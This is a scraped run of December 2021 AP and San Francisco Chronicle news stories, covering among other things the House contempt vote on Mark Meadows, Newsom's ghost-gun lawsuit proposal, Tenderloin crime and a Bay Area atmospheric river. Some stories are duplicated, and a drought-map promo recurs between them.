area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Ive been a news photographer for 26 years, so Ive done a bunch wildfires here and there. But really, 2013s Rim Fire near Yosemite was the first one that got me focused on this as a specialty. I went out there and spent a few days there with a colleague from Getty, we were riding around, and I just loved being out there. In California, we have press access to emergency zones. .... So, when I started, it was more an issue of how close you could get yourself because I didnt have all the tools that I have now. It was harder to know the right spots to be in, but it was a powerful experience. And after that, I said, this is what I want to do with my summers and falls. And every year since then, Ive really ramped up the gear that I use, the knowledge I have, the interactions with firefighters. Whether its something physical, like a carbon monoxide detector for the car, or fire shelter, or a better understanding of firefighting techniques. Every year Ive increased my fire knowledge. And its worked out well, because our fires have also ramped up incredibly. Every year since then, with a couple exceptions, you just see new superlatives: more homes, more lives lost, more intensity. Especially since about 2015. The firefighters are easy to interact with. Im dressed like a firefighter. I know the lingo. You know, I pull up and they know Im not a firefighter, but I also blend in. ... I always have a hard time with (civilians). I mean, we go up to somebody, and usually its somebody whos either fleeing their home as flames bear down, in immediate danger or returning to their leveled home. And its really hard to go up to people as a human. You know, its one of the worst days of their lives and you say, "Hey, can I hang out with you?" ___ I think the intensity has been startling for all of us, and how much its increased. I dont know what percentage you can put on climate change, what percentage on PG&E, what percent on the bark beetle tree mortality, which was part of the drought here, where a lot of trees have are very flammable and combustible. But its pretty indisputable that the fires have definitely intensified. I think you could look up the exact figure. But, according to CalFire, our state firefighting agency, 15 out of 20 of Californias most destructive wildfires have occurred in the last six years. Its a very striking statistic. Ive only been doing this for eight years, and Ive covered 14 of the 20 most destructive wildfires in California history. ___ For a full overview of the events that shaped 2021, A Year That Changed Us: 12 Months in 150 Photos, a collection of AP photos and journalists recollections, is available now: https://www.ap.org/books/a-year-that-changed-us PARIS (AP) The Paris prosecutor said 26 migrants have been formally identified, including seven women, a teenager and a 7-year-old girl, in the tragic capsizing last month of a boat in the English Channel that cost the lives of at least 27 people trying to reach Britain. The identity of one migrant remains unknown, Paris prosecutor Laure Beccuau said in a statement Tuesday. Investigators were able to confirm the identity of 16 Iraqi Kurds, including four women, a 16-year-old teenager and a 7-year-old girl. Amid victims were also an Iranian Kurd, three Ethiopians including two women, a Somali woman, four Afghan men and an Egyptian man, the statement said. The adults ranged in age from 19 to 46. Their boat capsized on Nov. 24 off the coast of northern France, in what the country's interior minister called the biggest migration tragedy on the dangerous crossing to Britain to date. Ever-increasing numbers of people fleeing conflicts or poverty in Afghanistan, Sudan, Iraq, Eritrea or elsewhere are risking the perilous journey from France, hoping to win asylum or find better opportunities in Britain. The crossings have tripled this year compared to 2020. The tragedy prompted a new political crisis between Britain and France, who each accused each other of not doing enough to deter people from crossing the Channel. European migration officials agreed to dispatch a plane to monitor the shores of the English Channel for migrant activity. They also pledged to work together more closely against migrant smuggling networks. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. ___ Follow all AP stories on global migration at https://apnews.com/hub/migration. WASHINGTON (AP) The House has voted to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote Tuesday is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. The two GOP votes Reps. Liz Cheney of Wyoming and Adam Kinzinger of Illinois, who serve on the committee in favor of the resolution came after nine Republicans voted to hold former Trump ally Steve Bannon in contempt in October. While Bannons case was more clear-cut he never engaged with the committee at all Meadows had turned over documents and negotiated for two months with the panel about an interview. Meadows also has closer relationships within the Republican caucus, having just left Congress last year. Meadows was also Trumps top aide in the White House, giving him more plausible grounds to claim executive privilege. Bannon had not worked in the White House since 2017. The Justice Department will also be weighing those factors as prosecutors decide whether to move forward with the case. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it evil and un-American. Rep. Jim Jordan of Ohio praised Meadows: Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison. Trump also defended Meadows in an interview, saying: I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Terwilliger said, The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced. Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. Meanwhile, Senate Republican leader Mitch McConnell told reporters: I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved. He added that he was not in contact with Meadows on the day of the attack. Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand. Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: Im pushing it hard. I agree. Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Cheney, the panels vice chairwoman, said at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. These texts leave no doubt, she said. The White House knew exactly what was happening at the Capitol. The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud, even though election officials and courts across the country had rejected those claims. ___ Associated Press writers Eric Tucker and Darlene Superville contributed to this report. WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. The two GOP votes Reps. Liz Cheney of Wyoming and Adam Kinzinger of Illinois, who serve on the committee in favor of the resolution came after nine Republicans voted to hold former Trump ally Steve Bannon in contempt in October. While Bannons case was more clear-cut -- he never engaged with the committee at all -- Meadows had turned over documents and negotiated for two months with the panel about an interview. Meadows also has closer relationships within the Republican caucus, having just left Congress last year. Meadows was also Trumps top aide in the White House, giving him more plausible grounds to claim executive privilege. Bannon had not worked in the White House since 2017. The Justice Department will also be weighing those factors as prosecutors decide whether to move forward with the case. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it evil and un-American. Rep. Jim Jordan of Ohio praised Meadows: Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison. Trump also defended Meadows in an interview, saying: I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Terwilliger said, The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced. Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. Meanwhile, Senate Republican leader Mitch McConnell told reporters: I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved. He added that he was not in contact with Meadows on the day of the attack. Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand. Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: Im pushing it hard. I agree. Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Cheney, the panels vice chairwoman, said at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. These texts leave no doubt, she said. The White House knew exactly what was happening at the Capitol. The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud, even though election officials and courts across the country had rejected those claims. ___ Associated Press writers Eric Tucker and Darlene Superville contributed to this report. MANILA, Philippines (AP) The Philippines said Wednesday it has detected its first cases of the omicron strain in two travelers who arrived recently from Japan and Nigeria. The Department of Health said the omicron variant was detected in a Filipino man, who flew back home from Japan on a Philippine Airlines flight on Dec. 1. The second case was detected in a Nigerian national, who arrived in Manila from his country via Oman Air on Nov. 30. WASHINGTON House Speaker Nancy Pelosi on Wednesday joined San Francisco Mayor London Breed in condemning mass retail thefts, calling recent crime outrageous and calling for a response. Its absolutely outrageous, obviously it cannot continue, the San Francisco Democrat told reporters at her weekly news conference. There is an attitude of lawlessness in our country that springs from I dont know where ... and we cannot have that lawlessness become the norm. Pelosi was asked about Breeds remarks on city crime from Tuesday, in which she said it was time that the reign of criminals who are destroying our city ... come(s) to an end and called for an increased police response and new policies to stop bulls that destroyed our city. Pelosi made a point of denying that the problem was isolated to San Francisco, saying retailers nationally have asked Congress to step up in response to increases in shoplifting and thefts, but the Bay Area has been rocked in recent weeks by particularly brazen and high-profile mass thefts. Breed had also been speaking about drug crimes and gun violence. Its outrageous, I agree with the mayor, it has to be stopped, and its not just San Francisco, its in our entire country, Pelosi said. The speaker did not address any law enforcement or prosecution-related responses, but did say the House had two bills in the works that she hoped could cut back on the thefts. One would require online sellers to verify their products are legitimate, she said, and the other would hold platforms liable for the provenance of what they sell. Both will be included in a package of legislation intended to address a critical shortage of computer chips, she said. What people do is they steal things and they sell them online, Pelosi said. They have to establish their legitimacy if theyre going to be sold online. She noted that the retail theft rings are highly organized and distinct from run-of-the-mill shoplifting, making bills that go after the profit motives so important. This isnt like somebody stealing something to go home because they dont have the money to buy it, this about stealing for profit, Pelosi said. Some of it is again high-level stores ... and some of it is your local Walgreens, but none of it is acceptable and again, it has to be stopped. Tal Kopan is The San Francisco Chronicles Washington correspondent. Email: tal.kopan@sfchronicle.com Twitter: @talkopan SACRAMENTO Gov. Gavin Newsoms sly legal strategy when he called for letting private citizens sue the makers and sellers of assault weapons and parts for ghost guns faces a clear logistical challenge: Ghost guns are largely untraceable. Such self-built firearms usually dont have serial numbers and purchasers often dont do background checks, both mandates under state law, so tracing the source of the weapons can be impossible. The predicament highlights the challenge police already face cracking down on ghost guns, which are assembled at home using kits easily purchased online or 3-D printers. Such firearms have poured onto the streets of cities like San Francisco, where ghost guns made up almost half of the weapons recovered from homicide scenes last year, according to the San Francisco Police Department. Newsom announced over the weekend that he would work with legislators and Attorney General Rob Bonta on a measure to clamp down on the illicit guns by allowing private citizens to file lawsuits seeking $10,000, plus attorneys fees against companies that make or sell ghost gun parts or kits. The Democratic governors approach is loosely mirrored on Texas SB8, which all but bans abortions and relies on private citizens to enforce the law by allowing them to sue abortion providers and anyone who helps a woman obtain an abortion. Newsom announced his proposal a day after the Supreme Court allowed abortion providers to sue over the law, but kept it in effect. If the most efficient way to keep these devastating weapons off our streets is to add the threat of private lawsuits, we should do just that, Newsom said at the time. The National Rifle Association responded in a tweet, warning Newsom that his plan would violate the Second Amendment and that he and and Democrats should proceed at their own peril because the American people will not tolerate another taxpayer-funded assault on constitutional freedom. Gun policy experts said while tracking the source of ghost guns could prove elusive in some cases, Newsoms tactic calls out how members of the ghost gun industry have long tried to evade firearm regulations by claiming they dont sell guns while marketing their products as easy assemble-at-home gun kits. They say nope, not a gun, doesnt apply to me, said attorney Travis Silva of Keker, Van Nest & Peters, a law firm helping San Francisco sue the manufacturers of ghost guns. Its much more than a wink and a nod. Its a thumb in the eye. Theres a basic rule-of-law problem with these people. Silva said Newsoms proposal is a clever way to point out the absurdity of that stance. He said the industry has simultaneously claimed its products arent firearms when it wants to avoid state and federal regulations while, in other cases, seeks the shield of federal laws that give gun manufacturers broad immunity from liability over the harm caused by their products. San Francisco, along with California and gun-violence advocates, recently filed a lawsuit against three major manufacturers and distributors of unassembled guns, stating they undermine state and federal firearms laws and mislead buyers into thinking the guns are legal without serial numbers. The lawsuit cites a video Blackhawk Manufacturing Group, a Southern California company, posted telling customers to build your own gun in 1 hour. 100% legal. That video has apparently since been removed from public view on YouTube and an employee at Blackhawks Orange County office declined to comment. Silva said the outcome of the lawsuit could lead to more serial numbers on ghost guns, which he said could make it easier for private citizens to file lawsuits against sellers who distribute parts or kits, if Newsoms proposal passes. But in many instances, it might not be that difficult to go after large manufacturers. Newsom has released few details of his proposal, but the Texas law, on which his plan is based, does not require plaintiffs to show they have been personally harmed by an abortion in order to seek a $10,000 bounty in court. In other words, Californians might not have to show they were harmed by a ghost gun and could likely file lawsuits against companies if they advertise such products online or if their name is printed on a part. John Donohue, a professor at Stanford Law School who studies gun violence, said state courts have made clear that the Legislature has wide discretion to decide who has standing to bring civil lawsuits. And, he said, makers of such weapons seem to have denied themselves a claim to federal immunity by insisting they are not gun companies. The ghost gun people are over a barrel because the way they avoid various litigation is to say, Were not a gun, Donohue said. Assembly Member Mike Gipson, D-Carson (Los Angeles County), said he plans to answer Newsoms request and introduce a bill early next year to let people sue companies that put ghost guns and assault weapons on the street. Gipson, a former police officer, conceded it could be difficult to track the source of many ghost guns, but said the effort should help change the culture in the gun industry. We have to make sure that everyone takes responsibility, including the gun manufacturers, Gipson said. Were not living in a world that we once did. With the technology as advanced as it is, we have to stay updated. In 2019, the Legislature and Newsom approved AB879, by Gipson, to crack down on ghost guns. The bill takes effect July 1 and requires all handgun frames and unfinished receivers to be sold by licensed vendors who must conduct background checks. Under current state law, buyers who assemble a firearm must apply to the California Department of Justice for a serial number and undergo a background check. Authorities say the law is widely flouted. San Francisco District Attorney Chesa Boudin called San Francisco the epicenter of the ghost gun problem in America during a news conference about the lawsuit last fall. He noted a federal report that found 65% of such guns recovered by police last year were in California. This is a matter of life and death, said Kate Chatfield, Boudins acting chief of staff, praising Newsoms proposal. Weve got to get the guns off of our streets, and we need creative litigation and legislation to do that. Dustin Gardiner is a San Francisco Chronicle staff writer. Email: dustin.gardiner@sfchronicle.com Twitter: @dustingardiner JPMorgan Chase has canceled its in-person San Francisco health care conference in January and will go virtual as omicron cases spread. Its a major blow to the hospitality sector and the conferences main hub, Union Square, which was already reeling from mass thefts last month. The bank had remained committed to holding the conference in person in the wake of the crime spree but said the health of attendees was at risk from the pandemic. The cancellation comes less than a month before the conference is set to take place Jan. 10-13. Out of an abundance of caution and after careful consideration, we have decided to virtualize the conference, the bank said. The health and safety of our clients and employees is of the utmost importance and given the ongoing COVID-19 pandemic, we have made this decision. We were not only hopeful to meet in person but also understand how much this conference means to the San Francisco community, which we fully support. The conference will return to San Francisco in January 2023, the bank said. The event is billed as the largest health care conference in the world and began in 1983, with pre-pandemic attendance of 9,000 people. Were disappointed, said Joe DAlessandro, CEO of San Francisco Travel, the citys tourism bureau. Its a very important conference for San Francisco. Other major conferences are still committed to in-person events in 2022, including the Gastrointestinal Cancers Symposium in Moscone Center on Jan. 20-22. The National Cannabis Industry Associations Business Conference is being held in person this week at the convention center. Future plans could change depending on the severity of the virus and omicron variant. I think for most people its a wait and see, DAlessandro said. Big business events like JPMorgans conference provide the biggest economic boost to the citys tourism industry, thanks to lucrative hotel stays and high-end restaurant and venue bookings. Pre-pandemic, some hotel rooms were going for thousands of dollars a night during the conference. With events disrupted, San Francisco Travel doesnt expect business and leisure tourism spending to fully recover until 2025. San Francisco had just $2.3 billion in spending in 2020, a plunge from the record-high $10.3 billion in 2019. Spending is projected to be $3.9 billion in 2021 and $6.9 billion in 2022. Theres no easy way out of this, DAlessandro said. Its going to take a long time. Stat News reported that major biotech companies including vaccine maker Moderna and Amgen pulled out of the in-person JPMorgan conference before it switched to virtual. The companies didnt immediately respond to requests for comment. DAlessandro reiterated that the pandemic was the primary reason for the JPMorgan cancellation and not crime concerns in Union Square. A lot of their partners were concerned, he said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. However, attendees would routinely complain about dirty streets, homeless people and drug use during pre-pandemic years. JPMorgan CEO Jamie Dimon told Fox Business in January 2020 that San Francisco is not quite that bad. They know where theyre going. They plan for it, he said of attendees. Dimon was in Oakland last week with Mayor Libby Schaaf for the opening of a new Chase Community Center branch at 3005 Broadway, which is aimed at serving communities of color. It was an example of the New York banks expansion in the Bay Area, which includes naming rights for the Warriors stadium and a new tech campus in Palo Alto. Roland Li is a San Francisco Chronicle staff writer. Email: roland.li@sfchronicle.com Twitter: @rolandlisf San Francisco could be one step closer to opening a supervised drug use site after the Board of Supervisors approved the purchase of property for that purpose. Though supervised consumption sites are currently illegal under federal and state law, Mayor London Breed, backed by many supervisors, is pushing to open one. The approved agreement to purchase adjacent properties at 822 Geary St. and 629 Hyde St. for $6.32 million stated that the buildings would be used to serve people with behavioral health needs, not specifically for a supervised drug consumption site. The Board watered that down even further with a last-minute amendment by Supervisor Matt Haney that added the site wasnt authorized for any specific use and the city has not committed to a specific use or project on the site. That could give the city legal cover and more options as it watches a supervised consumption site that recently opened in New York City. Advocates have been clamoring for a site where people can use drugs under the supervision of medical staff as the citys overdose death rate has skyrocketed in recent years because of the dangerously potent drug fentanyl. The site is also meant to address complaints about open-air drug use, particularly in the Tenderloin. Breed also announced a plan Tuesday seeking more funding to increase police presence and enforcement in the Tenderloin to tackle drug dealing, drug use and associated crimes. Supervisor Aaron Peskin was the only supervisor to vote against Haneys amendment and approving the purchase Tuesday. He said it was false the site wasnt authorized for a specific purpose since the city had already announced its proposed plan and asked to delay the vote. The proposal from the Department of Public Health for the site also includes a crisis diversion unit with 15 beds for people experiencing mental health crises as part of the citys mental health care reform plan. Peskin said he has long supported the model of a well-run supervised consumption site, but expressed concerns about this specific proposal being fast-tracked without a real plan with little awareness from the surrounding neighbors. The beleaguered community I represent, and the District 6 Supervisor represents, I believe deserve the basic respect to have their questions answered and concerns addressed, Peskin said. A couple of dozen community members called in to a committee hearing last week in support of the purchase. But some who live or work near the site said that didnt represent all community voices. Randy Shaw, director of the Tenderloin Housing Clinic, said he didnt bother calling in because he knew supervisors would pass the measure anyway. Shaw said there had been incredible disregard for neighborhood input in the process and a limited search only in the Tenderloin for locations. He said he and other Tenderloin community members would support a safe injection site at the nonprofit Glide, which had been considered, but protested against the approved location on an all-residential block. He had concern the site would only encourage drug dealing on the neighboring blocks without more effective and immediate enforcement. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Before Haney introduced his amendment Tuesday, he told The Chronicle he wished opponents had called in to the hearing. Im very strongly committed to community engagement and meetings and input about what happens at this site, he said. Obviously, we need a safe injection site, he continued. This is the most deadly epidemic were facing as a city. This is a part of the solution. Its also critical that we work with the community. ... If we end up doing that facility for that use, I am committed to doing that. The public health department said it hasnt finalized opening dates or site programming yet. Opening a behavioral health facility will require extensive planning and community collaboration to ensure success, including community meetings and other mechanisms for community input, the department said. Mallory Moench is a San Francisco Chronicle staff writer. Email: mallory.moench@sfchronicle.com Twitter: @mallorymoench Mary Jane De Castro is used to pushing past drug dealers as she walks her kids home from school. Shes used to the dealers crowding around her apartment buildings front gate each evening, making it difficult to come and go. Shes used to the sounds of gunshots ringing out at all hours. But De Castro, a 40-year-old mother of four, still cant understand why Tenderloin police officers seem to do so little about crime in the neighborhood where drug dealing is rampant, gun violence has spiked, and families and children are terrified. Earlier this year, she was wheeling a cart of dirty clothes to a nearby Laundromat when strangers kicked her cart, screamed at her and punched her in the head. Shaking and crying, she hustled into the nearby police station to report what had just happened. She said an officer took her information, but nobody darted out to find the culprits. The officer said hed alert others in the field, but she didnt see or hear him make that call. Dejected, she left the station and said she never heard another word from police. I love the police. I trust them, said the native of the Philippines whos lived on Golden Gate Avenue for 11 years. But the time that I needed them, theyre not there. Its a common sentiment of crime witnesses and victims around the city such as the owner of a burglarized cannabis shop who recently shared a video with The Chronicle of police responding to a 911 call about a break-in but appearing to stand by as the final suspect exited the building and drove away. Still, its perhaps most confounding in the Tenderloin, a neighborhood packed with kids, seniors and low-income immigrants. Where, many residents wonder, are the police? Its an even bigger question now that Mayor London Breed has answered Tenderloin families pleas for help by vowing to flood the neighborhood with police officers working overtime. While its good shes paying attention to residents concerns, its unclear what paying police to work longer hours will accomplish if its so difficult to see the fruits of their regular shifts. The Police Department is understaffed by nearly 500 officers, according to a recent study of adequate staffing for the department commissioned by former Supervisor Norman Yee, also raising the question of whether the department can handle that many extra hours while also working overtime to guard high-end stores in Union Square in the wake of mass retail thefts there. It doesnt appear the mayor has talked to District Attorney Chesa Boudin or San Francisco Superior Court Presiding Judge Samuel Feng about her new plan, raising the question of whether theyll provide the necessary cooperation to make increased arrests stick. Asked whether Breed, Police Chief Bill Scott, Boudin and Feng have met in the past year, a mayors spokesperson did not respond. Rachel Marshall, a spokesperson for Boudin, said that the four have never met to discuss public safety in the Tenderloin and that the mayor did not loop Boudin in on her plans. Getting the mayor and the top leaders of the citys criminal justice system in one room seems like an obvious step. Surely none of them can be OK with the state of the Tenderloin, so what can they agree to do about it? Asked about Tenderloin residents complaints that police arent responding to the neighborhoods rampant crime, Scott, the police chief, said anti-police sentiment following the countrys racial reckoning last year has contributed to low morale and difficulty recruiting new officers. He said theres a feeling among some officers that the world is against them and that they cant do their jobs effectively. He said some officers feel theyre being told to make more arrests, but also scrutinized when they do make arrests, putting them in a no-win position. That may be true, but officers still need to work hard and proactively while ensuring they treat everyone fairly and without unnecessary force. Scott said that he adamantly agrees with that, noting he fully supports reform and accountability, but that crime still needs to be addressed. We need to find that balance, he said, adding he thinks societal feelings toward police are cyclical and may be swinging back to wanting more police presence. He said that despite appearances, officers are working hard in the Tenderloin. Police statistics show Tenderloin officers have made 489 arrests for selling narcotics this year and have seized more than 23 kilos of fentanyl. Including seizures of cocaine, heroin, meth and pills, theyve seized more than 48 kilos of drugs. There has been enforcement, but its not enough, Scott said, if people who live and work in that community arent seeing a difference on the street. Supervisor Matt Haney, who lives on Hyde Street, said he sees police all the time but only in their cars and often driving right past blatant, open drug dealing. We want police out of their cars and interacting with people, he said. People here want safety, and they want a livable community. I took an interest in Tenderloin families calls for help when I joined a group of them as they delivered a letter to Breed last month. We are the Tenderloin, and you have failed us, the letter read. The mayor was in her office, according to her secretary, but didnt come out to meet with the kids. She did meet with Tenderloin families Friday afternoon at the Main Library, but didnt allow journalists to attend. During the meeting, according to a recording by an attendee, Breed vowed a more aggressive approach to crime in the Tenderloin and said, Open-air drug dealing is destroying our city. ... I know were better than this. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. She listened to heartbreaking stories from the families including De Castros account of getting hit in the head and police not appearing to help. Matt Dorsey, a spokesperson for the Police Department, said police cannot locate a report based on the information De Castro provided at the meeting. Tenderloin Capt. Chris Canning shared his e-mail address with her, Dorsey said, and is awaiting more information. A man who lives in the Tenderloin told the mayor at the Friday meeting, We have a police station in the middle of the Tenderloin and with all due respect to the captain and mayor, theyre doing nothing. A woman in the neighborhood said, When you call the police, they dont come. They say they are busy. A woman speaking Spanish said through an interpreter that she called 911 after seeing a man with a gun outside a playground where her children were playing. She said she tried to tell the dispatcher what was going on in English, but that the dispatcher insisted she wait for a Spanish interpreter who took too long to respond. Breed interrupted the woman and said she had to leave. Ive been here for over an hour, the mayor told the crowd. I have something thats very important that I also have to take care of. She then left. The mayors spokesperson said she had an appointment, but did not provide details. He said she was scheduled to meet with the families for 30 minutes, but stayed far longer. Nevertheless, some people in the audience were not happy about her departure. A man can be heard in the recording shouting, Very bad form, mayor! Another person said, We need help desperately! At a news conference Tuesday, Breed vowed that help is coming. She was clearly ticked off, even saying she would no longer tolerate all the bulls that has destroyed our city. It is time that the reign of criminals who are destroying our city comes to an end, she said. Christy Shirilla, a community organizer with the Tenderloin Community Benefit District, said neighborhood residents broadly support more police foot patrols and appreciate Breeds attention to their neighborhood. She said they also want to see more cleaning in the evenings, a better response to 311 calls, more treatment options for people struggling with addiction and safer routes to walk to playgrounds. De Castro said shes optimistic too, though on Saturday night, the day after the meeting with Breed, she returned home to find an ambulance in front of her apartment building and blood everywhere. Somebody had been shot. I hope the mayor will prioritize our problems, she said. The attention is long overdue. But at least its finally arrived. San Francisco Chronicle columnist Heather Knight appears Sundays and Wednesdays. Email: hknight@sfchronicle.com Twitter: @hknightsf After a brief respite from the rains delivered by an atmospheric river that lashed the Bay Area this week, more rain was in the forecast for Wednesday. A system bringing light to moderate rain was expected drift over the North Bay midday Wednesday before moving south on its way to the Central Coast early Thursday, according to the National Weather Service. The precipitation wont be as intense as the atmospheric river that flooded Bay Area streets, closed highways and even dusted some of the regions higher elevations with snow on Monday, the NWS said. The Bay Area could expect to see up to an inch of rain, with slightly more in the North Bay valleys and up to 2 inches in coastal areas. Some of the regions highest peaks could also get another dusting of snow, meteorologists said. On Tuesday morning, the atmospheric river left a picturesque scene on Contra Costa Countys Mount Diablo. The peak received a total of 5.6 inches of both snow and rain, the NWS said. The atmospheric river earlier this week also dropped so much snow across the Sierra and Lake Tahoe that county offices in the South Lake Tahoe had to close Wednesday due to weather, officials tweeted. More snow was expected to fall on the Sierra mountains Wednesday through Thursday morning, according to the NWS in Sacramento. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Mountain travel will be very difficult later today with whiteout conditions at times, the NWS tweeted. Travelers were warned of possible road closures, chain controls, slick roads, traffic delays, reduced visibility and possible downed trees and branches. Jessica Flores is a San Francisco Chronicle staff writer. Email: jessica.flores@sfchronicle.com Twitter: @jesssmflores A freelance photojournalist took photographs and video footage on Monday of a homeless encampment inundated with water near downtown Santa Cruz as a moisture-packed atmospheric river dumped rain over Northern and Central California. Santa Cruz resident Alekz Londos said he flew a drone over the large neighborhood of tents in the Benchlands area of San Lorenzo Park to raise awareness around the need for more affordable housing in the city. "Its frustrating when people are lying on the ground in the rain. They're in wheelchairs in the rain. Why has our society allowed this?" Londos said of the flooding that drenched people's tents and belongings. "Theres no affordable housing, its so limited." Santa Cruz often lands on lists of most expensive places to live in the United States, and according to Zillow, the average home value is $1.3 million. The Benchlands encampment was sanctioned through a federal injunction in early 2021 and has continued to offer a place for people to camp as Santa Cruz works on developing other temporary sheltering operations, the city said. The city said in a statement that it sent staff from several departments to the Benchlands encampment and a site at the nearby cemetery on Friday and Sunday to alert campers about the storm and "strongly encourage them to seek higher ground ... out of harm's way." The message to leave the area may not have gotten to everyone. On his Monday visit to the encampment, Londos captured Facebook live footage and interviewed a man living in a tent who said he wasn't warned. After receiving news of the shifting weather and flood forecast on Monday, the city said it sent an ad hoc emergency response team to the site that helped support and evacuate people. Londos said he saw some of the workers assisting on Monday. The city's Public Works Department opened a temporary shelter on Monday in a parking garage for impacted individuals 